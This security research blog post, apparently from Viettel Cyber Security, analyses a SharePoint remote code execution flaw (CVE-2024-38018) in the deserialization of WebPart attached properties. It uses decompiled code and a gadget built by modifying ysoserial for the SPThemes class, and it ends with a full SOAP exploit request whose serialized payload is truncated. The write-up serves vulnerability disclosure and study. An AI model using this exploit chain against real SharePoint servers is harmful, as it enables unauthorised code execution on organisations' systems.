

SharePoint Unknown CVE Unveiled: RCE via WebPart Properties Deserialization

SharePoint Unknown CVE Unveiled: RCE via WebPart Properties Deserialization - @_l0gg, khoadha, Blog of Viettel Cyber Security.

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Content

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Update: This bug has been assigned CVE-2024-38018, discovered by @chudyPB (<https://x.com/chudyPB>).

Disclaimer: This blog is not related or contain any information about the bug at Pwn2Own Berlin. This is a bug I discovered by accident, and it has already been resolved. I don't even know which CVE it corresponds to or which version it was patched. It looks like someone found it and kept it for red teaming purposes. If you know any information about this bug, please feel free to leave a comment.

As mentioned in the title, this bug lie at deserialization process of webpart properties. This bug start from the control parsing process. The following is the corresponding stack trace:

```
Microsoft.SharePoint.WebPartPages.WebPart.AddParsedSubObject()  
->Microsoft.SharePoint.WebPartPages.WebPart.ParseXml()  
-->Microsoft.SharePoint.WebPartPages.WebPart.DoPostDeserializationTasks()  
--->Microsoft.SharePoint.WebPartPages.WebPart.PromoteStateIntoAspWebPart()  
---->Microsoft.SharePoint.WebPartPages.SPWebPartManager.SetZoneID()  
----->Microsoft.SharePoint.WebPartPages.SPAttachedProperties.Get()  
----->Microsoft.SharePoint.WebPartPages.SPAttachedProperties.GetProperties()  
----->Microsoft.SharePoint.WebPartPages.WebPart.GetAttachedProperties()  
----->Microsoft.SharePoint.WebPartPages.Utility.DeserializeStringToObject()
```

To reach `WebPart.AddParsedSubObject()`, just add some control, html content or string inside WebPart control. For example:

```
<WebPartPages:XmlWebPart ID="SPWebPartManager" runat="Server">  
<sometag>some content</sometag>  
</WebPartPages:XmlWebPart>
```

`WebPart.AddParsedSubObject()` will get `LiteralControl` text and `ParseXml` it.
`LiteralControl` can be any html content or simple string. In the above example,
`LiteralControl` is `<sometag>some content</sometag>`.

```

protected override void AddParsedSubObject(object obj)
{
    if (obj is LiteralControl literalControl && !_hasParsedLiteralControlDWP)
    {
        string text = literalControl.Text;
        if (text.Trim().Length > 0)
        {
            SPWeb sPWeb;
            ...
            try
            {
                Type type = GetType();
                EmbeddedXmlReader embeddedXmlReader = new
EmbeddedXmlReader(new StringReader(text), type, sPWeb);
                WebPart webPartFrom = ParseXml(embeddedXmlReader,
type, null, sPWeb);

                if (webPartFrom.UnknownXmlElements.Count > 0)
                {
                    foreach (XmlElement unknownXmlElement in
webPartFrom.UnknownXmlElements)
                    {
                        if
(unknownXmlElement.NamespaceURI == "http://schemas.microsoft.com/WebPart/v2" &&
(string.Compare(unknownXmlElement.Name, "Assembly", ignoreCase: true,
CultureInfo.InvariantCulture) == 0 || string.Compare(unknownXmlElement.Name, "TypeName",
ignoreCase: true, CultureInfo.InvariantCulture) == 0))
                        {
                            throw new
WebPartPageUserException(WebPartPageResource.GetString("InvalidWebPartTag"));
                        }
                    }
                }
                InheritProperties(webPartFrom,
embeddedXmlReader.PropertyNames);
                _hasParsedLiteralControlDWP = true;
                return;
            }
            ...
        }
    }
    base.AddParsedSubObject(obj);
}

```

`WebPart.ParseXml()` will deserialize that webpart type by `XmlSerializer` and then `DoPostDeserializationTasks`

```
internal static WebPart ParseXml(XmlReader reader, Type type, string[] links, SPWeb
spWeb)
{
    if (!type.IsSubclassOf(typeof(WebPart)))
    {
        throw new
WebPartPageUserException(WebPartPageResource.GetString("NotAWebPart", type.FullName,
typeof(WebPart).FullName));
    }
    try
    {
        TypeCacheEntry tce = spWeb.TypeCache[type, spWeb?.IsAppWeb ?? false,
false];

        XmlSerializer xmlSerializer = tce.XmlSerializer;
        WebPart webPart = (WebPart)xmlSerializer.Deserialize(reader);
        if (webPart != null)
        {
            SPWebPartManager webPartManager = spWeb.WebPartManager;
            DoPostDeserializationTasks(webPart, webPartManager, links,
tce);
        }
        return webPart;
    }
    ...
}
```

At `WebPart.GetAttachedProperties()`. SharePoint will deserialize `_serializedAttachedPropertiesShared` by `Utility` with a binder `SPSerializationBinder`

```

internal IDictionary GetAttachedProperties()
{
    if (_attachedProperties == null)
    {
        int num = 0;
        int num2 = 0;
        ArrayList arrayList = null;
        ArrayList arrayList2 = null;
        if (_serializedAttachedPropertiesShared != null ||
_serializedAttachedPropertiesUser != null)
        {
            if (WebPartManager != null)
            {
                SPSerializationBinderBase
sPSerializationBinderBase = new SPSerializationBinder(WebPartManager);
                if (_serializedAttachedPropertiesShared != null)
                {
                    arrayList =
(ArrayList)Utility.DeserializeStringToObject(sPSerializationBinderBase,
_serializedAttachedPropertiesShared);

                    num = arrayList.Count;
                }
                if (_serializedAttachedPropertiesUser != null)
                {
                    arrayList2 =
(ArrayList)Utility.DeserializeStringToObject(sPSerializationBinderBase,
_serializedAttachedPropertiesUser);

                    num2 = arrayList2.Count;
                }
            }
            else
            {
                ULS.SendTraceTag(3981539U,
ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.Unexpected, "WebPartManager is NULL when
initializing GetAttachedProperties");
            }
        }
        ...
        return _attachedProperties;
    }
}

```

The `_serializedAttachedPropertiesShared` field can be set during XML deserialization through the `AttachedPropertiesShared` element.

```

[Browsable(false)]
[DefaultValue(null)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
[WebPartStorage(Storage.Shared)]
[XmlElement("AttachedPropertiesShared")]
public string SerializedAttachedPropertiesShared
{
    get
    {
        return _serializedAttachedPropertiesShared;
    }
    set
    {
        _serializedAttachedPropertiesShared = value;
    }
}

```

Utility use `SPObjectStateFormatter`, which is the SharePoint version of `ObjectStateFormatter`. It will later use `BinaryFormatter`.

```

internal static object DeserializeByteArrayToObject(SerializationBinderBase binder,
byte[] bytes)
{
    if (bytes == null || bytes.Length == 0)
    {
        return null;
    }
    IFormatter formatter = new SPObjectStateFormatter();
    formatter.Binder = binder;
    return formatter.Deserialize(new MemoryStream(bytes));
}

```

Our current focus is on the `SPSerializationBinder`. Let's see what it allows.

```

protected override void IsAllowedType(Type type)
{
    string text;
    if (!(null != type) || this.m_safeControls == null || type.IsEnum ||
this.m_safeControls.IsSafeControl(this.m_isAppWeb, type, out text))
    {
        return;
    }
    if (base.ControlCompatMode)
    {
        ULS.SendTraceTag(3981589U, ULSCat.msoulscat_WSS_WebParts,
ULSTraceLevel.High, "Allowing ControlCompatMode=true object in ObjectFormatter. Type =
{0}", new object[] { type.AssemblyQualifiedName });
        return;
    }
    ULS.SendTraceTag(3981590U, ULSCat.msoulscat_WSS_WebParts, ULSTraceLevel.High,
"Allowing ControlCompatMode=false object in ObjectFormatter. Type = {0}", new object[] {
type.AssemblyQualifiedName });
    throw new
SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlPageParserFilterEr
ror", new object[]
{
        type.FullName,
        (text == null) ? string.Empty : text
    })));
}

```

It allow binary deserialization of any class in SafeControls!!!

[image: image]

woaaaaa

In unpatched version of SharePoint, there is a class we can use to exploit this bug:

Microsoft.SharePoint.ApplicationPages.SPThemes

```

namespace Microsoft.SharePoint.ApplicationPages
{
    [DesignerCategory("code")]
    [Serializable]
    public sealed class SPThemes : DataSet
    {
        public SPThemes()
        {
            InitClass();
        }

        private SPThemes(SerializationInfo info, StreamingContext context)
            : base(info, context)
        {
            InitClass();
            GetSerializationData(info, context);
        }

        ...
    }
}

```

It implements `DataSet` and uses its Serialization constructor. We can just use `ysoserial` and modify the `DataSetMarshal`, change the type from `DataSet` to `Microsoft.SharePoint.ApplicationPages.SPThemes`, then create a constructor with no parameters and set `_fakeTable` yourself

[image: image]

Use some reflection to call `SPObjectStateFormatter.Serialize()` since it's an internal class.

[image: image]

Finally, use an endpoint to parse control as `WebPartPages` service or create a page contain the webpart. The final webpart will be something look like this:

```

<%@ Register Tagprefix="WebPartPages" Namespace=" Microsoft.SharePoint.WebPartPages"
Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" %>

<WebPartPages:XmlWebPart ID="SPWebPartManager" runat="Server">
    <WebPart
        xmlns="http://schemas.microsoft.com/WebPart/v2">
        <AttachedPropertiesShared>wEWABANANA...</AttachedPropertiesShared>
    </WebPart>
</WebPartPages:XmlWebPart>

```

Request:

```
POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: sharepoint
Content-Type: text/xml; charset=utf-8
Content-Length: 9661
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ConvertWebPartFormat

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ConvertWebPartFormat
xmlns="http://microsoft.com/sharepoint/webpartpages"><inputFormat><![CDATA[
<%@ Register Tagprefix="WebPartPages" Namespace=" Microsoft.SharePoint.WebPartPages"
Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" %>

<WebPartPages:XmlWebPart ID="SPWebPartManager" runat="Server">
  <WebPart
    xmlns="http://schemas.microsoft.com/WebPart/v2">
      <AttachedPropertiesShared>/wEWABANANA...</AttachedPropertiesShared>
    </WebPart>
  </WebPartPages:XmlWebPart>

]]></inputFormat></ConvertWebPartFormat></soap:Body></soap:Envelope>
```

Tested version: 15.0.5145.1000

That's the end of the blog. Thank you for reading!!!

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